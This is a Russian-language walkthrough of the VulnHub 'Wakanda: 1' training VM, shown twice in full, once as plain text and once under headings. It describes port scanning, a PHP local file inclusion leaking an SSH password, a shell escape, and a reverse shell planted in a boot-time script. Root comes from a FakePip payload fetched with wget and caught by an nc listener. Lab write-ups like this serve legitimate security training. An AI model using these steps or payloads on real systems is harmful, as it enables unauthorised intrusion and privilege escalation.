LeSora
В этой статье мы с вами займемся взломом виртуальных машин с VulnHub. Для тех кто не в курсе, сервис VulnHub предоставляет образы операционных систем с сервисами, в которых заведомо «вшиты» популярные уязвимости. Сайт создавался, чтобы каждый мог получить практический опыт в области компьютерной безопасности и сетевого администрирования. Нужно всего лишь скачать образ виртуальной машины, правильно настроить сеть и запустить.
Предположим, что вы справились у загрузкой и установкой VirtualBox. Теперь перейдем к настройке сети. Откройте менеджер сетей хоста и создайте новый адаптер.
Импортируем виртуальную машину в VirtualBox и идем в ее настройки. Нам нужна вкладка «Сеть». Устанавливаем тип подключения как «Виртуальный адаптер хоста» и указываем недавно созданный виртуальный адаптер. Обращаем внимание на созданный MAC-адрес, так как он нам еще понадобится, чтобы найти его в сети.
Теперь можно запускать. Сделаем это!
$ nmap -p- -sV 192.168.93.128
Видим, что запущен Apache на 80-м порте, SSH на 3333-м и какой-то мусор на 111-м и 56737-м портах.
Прежде чем фаззить директории, залезем в исходный код страницы. Видим закомментированную ссылку, вероятно на французскую версию сайта.
Попробуем зайти. И правда, сайт теперь на французском языке.
Откроем Burp Suit и попробуем профаззить параметр lang.
И с первого же раза получаем исходный код страницы index.php с помощью уязвимости Local File Inclusion и фильтра Base64 PHP. Раскодируем с помощью команды $ base64 -D или через онлайн-тулзу и увидим в самом начале какой-то пароль. Интересно, от чего же он?
использование vulnhub
import os; os.system("/bin/bash")
Итак, мы в системе. Посмотрим, что в домашней папке ($ ls), видим файл flag1.txt, выведем его содержимое с помощью $ cat flag1.txt.
Поищем еще файлы, которые ему принадлежат. Для этого посмотрим на результат команды
$ find / -user devops
Видим, что есть скрытый файл /srv/.antivirus.py с весьма прозаичным содержанием.
Судя по тому, что файл /tmp/test существует, этот скрипт выполняется при загрузке от пользователя devops. Поэтому добавим туда простой реверс-шелл и перезагрузим виртуалку.
Теперь подключимся посмотрим список файлов:
$ ls /home/devops. Файл со вторым флагом на месте! Выводим его $ cat flag2.txt.
Посмотрим, кто в системе может запускать программы от имени администратора с помощью sudo -l.
Как видим, /usr/bin/pip работает с sudo без пароля, а значит, осталось сделать совсем немного.
Гуглим «pip privileges escalation» и прямо на первой статье видим ссылку на FakePip. Делаем все по инструкции:
$ cd /tmp && wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
Меняем переменную RHOST на наш айпишник.
Запускаем у себя
nc -lvvp 443, а на виртуалке $ sudo pip install . —upgrade —force-reinstall.
Теперь у нас есть права администратора, и остается одна команда…
$ locate root.txt | xargs cat
Done!
Заключение
Мы просканировали порты на виртуальной машине; выяснили, что на 80-м порте запущен Apache с веб-приложением на PHP, а на 3333-м — SSH. Нашли в PHP уязвимость Local File Inclusion и проэксплуатировали ее, получив исходный код страницы, в котором переменной $password был присвоен пароль от SSH пользователя mamadou.
Первый флаг был в домашней папке пользователя. Изменив скрытый файл /srv/.antivirus.py, который принадлежит пользователю devops и исполняется от его имени при загрузке системы, мы получили возможность работать от его имени и нашли второй флаг в /home/devops/flag2.txt. Узнав, что PIP может устанавливать пакеты от имени администратора без пароля sudo, мы повысили привилегии до root с помощью публичного эксплоита и нашли третий флаг в /root/root.txt.
На этом мы закончим с «Wakanda: 1». Надеюсь данная статья поможет вам в использовании VulnHub.
- Подготовка виртуальной машины
Предположим, что вы справились у загрузкой и установкой VirtualBox. Теперь перейдем к настройке сети. Откройте менеджер сетей хоста и создайте новый адаптер.
Импортируем виртуальную машину в VirtualBox и идем в ее настройки. Нам нужна вкладка «Сеть». Устанавливаем тип подключения как «Виртуальный адаптер хоста» и указываем недавно созданный виртуальный адаптер. Обращаем внимание на созданный MAC-адрес, так как он нам еще понадобится, чтобы найти его в сети.
Теперь можно запускать. Сделаем это!
- Поиск машины
- Сканирование портов
$ nmap -p- -sV 192.168.93.128
Видим, что запущен Apache на 80-м порте, SSH на 3333-м и какой-то мусор на 111-м и 56737-м портах.
- Сайт на PHP
Прежде чем фаззить директории, залезем в исходный код страницы. Видим закомментированную ссылку, вероятно на французскую версию сайта.
Попробуем зайти. И правда, сайт теперь на французском языке.
Откроем Burp Suit и попробуем профаззить параметр lang.
И с первого же раза получаем исходный код страницы index.php с помощью уязвимости Local File Inclusion и фильтра Base64 PHP. Раскодируем с помощью команды $ base64 -D или через онлайн-тулзу и увидим в самом начале какой-то пароль. Интересно, от чего же он?
- Получаем доступ по SSH
использование vulnhub
- Первый флаг
import os; os.system("/bin/bash")
Итак, мы в системе. Посмотрим, что в домашней папке ($ ls), видим файл flag1.txt, выведем его содержимое с помощью $ cat flag1.txt.
- В поисках второго флага
Поищем еще файлы, которые ему принадлежат. Для этого посмотрим на результат команды
$ find / -user devops
Видим, что есть скрытый файл /srv/.antivirus.py с весьма прозаичным содержанием.
Судя по тому, что файл /tmp/test существует, этот скрипт выполняется при загрузке от пользователя devops. Поэтому добавим туда простой реверс-шелл и перезагрузим виртуалку.
Теперь подключимся посмотрим список файлов:
$ ls /home/devops. Файл со вторым флагом на месте! Выводим его $ cat flag2.txt.
- Последний рубеж: получаем root(.txt)
Посмотрим, кто в системе может запускать программы от имени администратора с помощью sudo -l.
Как видим, /usr/bin/pip работает с sudo без пароля, а значит, осталось сделать совсем немного.
Гуглим «pip privileges escalation» и прямо на первой статье видим ссылку на FakePip. Делаем все по инструкции:
$ cd /tmp && wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
Меняем переменную RHOST на наш айпишник.
Запускаем у себя
nc -lvvp 443, а на виртуалке $ sudo pip install . —upgrade —force-reinstall.
Теперь у нас есть права администратора, и остается одна команда…
$ locate root.txt | xargs cat
Done!
Заключение
Мы просканировали порты на виртуальной машине; выяснили, что на 80-м порте запущен Apache с веб-приложением на PHP, а на 3333-м — SSH. Нашли в PHP уязвимость Local File Inclusion и проэксплуатировали ее, получив исходный код страницы, в котором переменной $password был присвоен пароль от SSH пользователя mamadou.
Первый флаг был в домашней папке пользователя. Изменив скрытый файл /srv/.antivirus.py, который принадлежит пользователю devops и исполняется от его имени при загрузке системы, мы получили возможность работать от его имени и нашли второй флаг в /home/devops/flag2.txt. Узнав, что PIP может устанавливать пакеты от имени администратора без пароля sudo, мы повысили привилегии до root с помощью публичного эксплоита и нашли третий флаг в /root/root.txt.
На этом мы закончим с «Wakanda: 1». Надеюсь данная статья поможет вам в использовании VulnHub.